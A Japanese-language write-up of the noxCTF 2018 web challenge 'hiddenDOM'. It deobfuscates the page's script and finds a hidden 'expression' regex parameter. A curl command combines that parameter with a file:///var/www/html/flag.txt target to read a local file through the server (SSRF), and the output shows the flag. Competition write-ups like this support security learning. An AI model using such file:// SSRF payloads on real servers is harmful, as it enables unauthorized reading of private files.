noxCTF 2018 - hiddenDOM
問題文
I decided to create a tool that searches for hidden elements inside a web pages. Few days ago someone told me that my website is not so /secure/... Can you check it yourself ?
http://13.59.2.198:5588
writeup
URLの入力フォームと、Checkボタンがある。
試しに問題サイトのURLを入力してCheckボタンを押下すると、テキストエリアが表示された。
<body background="hidden.jpg" style="background-size:cover;"> <input type="text" name="target" placeholder="Find hidden elements (URL)" style="background-color:#d1d1d1; color:#717d85;">
入力したURLのコンテンツ内から"hidden"を含む行を表示するようだ。
また、入力したURLのコンテンツが存在しない場合は、テキストエリアは表示されない。
HTMLソースを確認すると、怪しい箇所を2点発見。
- コメント
<a href='/var/www/html/flag.txt' hidden>-_-</a>
URLにfile:///var/www/html/flag.txt
を入力すると、空のテキストエリアが表示された。
"hidden"というワードがフラグ文字列に含まれていないため表示されないが、flag.txtの取得はできたようだ。
- 難読化されたスクリプト
<script> var _0x3bc3=["\x6D\x61\x69\x6E\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x69\x6E\x70\x75\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6E\x61\x6D\x65","\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x79\x70\x65","\x74\x65\x78\x74","\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72","\x2F\x3C\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x68\x69\x64\x64\x65\x6E\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x3E\x2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10]) </script>
難読化を解除する。解除には以下のサイトを使用した。
Online JavaScript beautifier
var _frss = document['getElementById']('main_form'); var _xEger = document['createElement']('input'); _xEger['setAttribute']('name', 'expression'); _xEger['setAttribute']('type', 'text'); _xEger['setAttribute']('placeholder', '/<[^<>]{1,}hidden[^<>]{1,}>/')
_frss
は特に使用していないし、生成した_xEger
も使用していない。
ただ、_xEger
のplaceholderの正規表現は、サーバ側でテキストエリアに表示する条件と考えられる。
もしかすると、_xEger
(expressionパラメータ)は、サーバ側のフィルタ条件を変更するための項目ではないだろうか。開発中またはデバッグ機能のため、_frss
に_xEger
を追加(appendChild)していないシナリオと想定される。
curlでexpressionパラメータも送信する。
/.*/
を指定し、全てにマッチする条件にする。
root@kali:~/Contest/noxCTF2018# curl http://13.59.2.198:5588/index.php -G --data-urlencode "target=file:///var/www/html/flag.txt" --data-urlencode "expression=/.*/" <html> (snip) <a href='/var/www/html/flag.txt' hidden>-_-</a><button id='showArea' class='button' style='margin-right:10px;'>show</button><button id='hideArea' class='button'>hide</button><br /><br /><textarea id='hidden_elements' rows='20' cols='85' style='background-color:#d1d1d1; color:#424242'> noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/} (snip)
ビンゴ。フラグゲット。
noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}